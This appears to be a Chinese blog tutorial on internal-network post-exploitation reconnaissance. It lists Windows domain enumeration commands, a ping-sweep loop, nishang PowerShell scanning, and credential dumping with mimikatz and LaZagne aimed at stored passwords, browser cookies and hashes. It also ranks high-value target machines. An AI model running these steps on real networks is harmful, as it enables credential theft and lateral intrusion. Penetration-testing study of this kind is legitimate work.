内网渗透-最实用的信息收集

Posted 2021-10-09 告白热

0x00 内网渗透概述

当我们渗透web端或者通过其他方式拿到某内网主机shell，我们就可以尝试开始内网渗透，也叫做后渗透，域渗透等，探索域内网络架构，通过内网渗透得到其他内网主机的权限，或者通过内网主机获取到同域的最高管理员主机权限等。

1.内网基本认知：各种名词认知，域的认知，大概了解内网安全流程
2.内网信息收集：

（1） 内网主机的基本信息（版本，补丁，服务，任务，防护…），
（2）网络信息（端口，环境，代理通道…），
（3）用户信息（域用户，本地用户，用户权限，组信息…），
（4）凭据信息（各种储存的协议账号密码信息，各种口令信息，hash…）

3.后续探针信息：探索到域内的网络架构信息，存活主机，域控信息，服务接口…

0x01 内网基本认知

内网基本认知：各种名词认知，域的认知，大概了解内网安全流程
名词：局域网，工作组，域环境，活动目录AD，域控制器DC…
域：单域，父域，子域，域树，域森林

自己笔记本比较鸡肋搭建了一个简单的内网支持这次实验：

下面开始整个内网的信息收集

0x02 内网主机的基本信息收集（版本，补丁，服务，任务，防护…）

当拿到内网主机的控制权shell，进行第一步的基本主机信息收集
当前服务器的计算机基本信息，为后续判断服务器角色，网络环境等做准备

systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务

举例： 进程列表，为判断主机服务信息做准备
基本信息：

0x03 网络信息收集（端口，环境，代理通道…）

ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址

举例： 判断存在域名

通过查看时间返回计算机名称信息包含域信息，

通过nslookup追踪域名路由判断出主域IP

0x04 用户信息收集（域用户，本地用户，用户权限，组信息…）

了解当前计算机或域环境下的用户及用户组信息，便于后期利用凭据进行测试

系统默认常见用户身份：
Domain Admins：域管理员（默认对域控制器有完全控制权）
Domain Computers：域内机器
Domain Controllers：域控制器
Domain Guest：域访客，权限低
Domain Users：域用户
Enterprise Admins：企业系统管理员用户（默认对域控制器有完全控制权）
相关用户收集操作命令：
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器

举例：
域主机上查询：
涉及域用户详细信息：可在普通权限操作
查询命令一定要注意权限：

0x05 凭据信息收集（各种储存的协议账号密码信息，各种口令信息，hash…）

旨在收集各种密文，明文，口令等，为后续横向渗透做好测试准备，凭据信息收集：

1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口，如 phpMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码，如：Email、VPN、FTP、OA 等

这里推荐软件测试主机的上面存在的凭据信息
主机信息：计算机用户 HASH，明文获取-mimikatz(win)，mimipenguin(linux)
mimikatz(win):https://github.com/gentilkiwi/mimikatz/releases

安装：
privilege::debug
sekurlsa::logonpasswords

使用获取本机账户密码信息：

接口信息收集：计算机各种协议服务口令获取-LaZagne(all)，XenArmor(win收费，功能强大)
LaZagne工具演示-----
项目地址：https://github.com/AlessandroZ/LaZagne

laZagne.py all#检查所有模块
laZagne.py browsers#指定模块

0x06 后续探针信息：探索到域内的网络架构信息，存活主机，域控信息，服务接口…

探针主机域控架构服务，为后续横向思路做准备，针对应用，协议等各类攻击手法

探针域内存活主机及地址信息，使用自带的内部命令循环语句探索网络IP架构：

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.213.%I | findstr "TTL=" 

另外nmap masscan扫描工具工具也可以使用

这里介绍使用powershell框架脚本搜集信息nishang empire 等
powershell框架脚本搜集信息nishang：
项目地址：https://github.com/samratashok/nishang

工具使用：需要powershell权限运行
#设置执行策略
Set-ExecutionPolicy RemoteSigned
#导入模块 nishang
Import-Module .\\nishang.psm1
#获取模块 nishang 的命令函数
Get-Command -Module nishang
#获取常规计算机信息
Get-Information
#端口扫描（查看目录对应文件有演示语法，其他同理）
Invoke-PortScan -StartAddress 192.168.213.0 -EndAddress 192.168.213.100 -ResolveHost -ScanPort

#获取常规计算机信息 Get-Information

端口扫描：Invoke-PortScan -StartAddress 192.168.213.0 -EndAddress
192.168.213.100 -ResolveHost -ScanPort

#其他功能：删除补丁，反弹 Shell，凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器（自建 SVN、GIT）
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器（内部技术文档服务器、其他监控服务器等）

大概的总结一下，希望各位师傅能够指点

交流学习：
博客：www.kxsy.work
CSND社区:告白热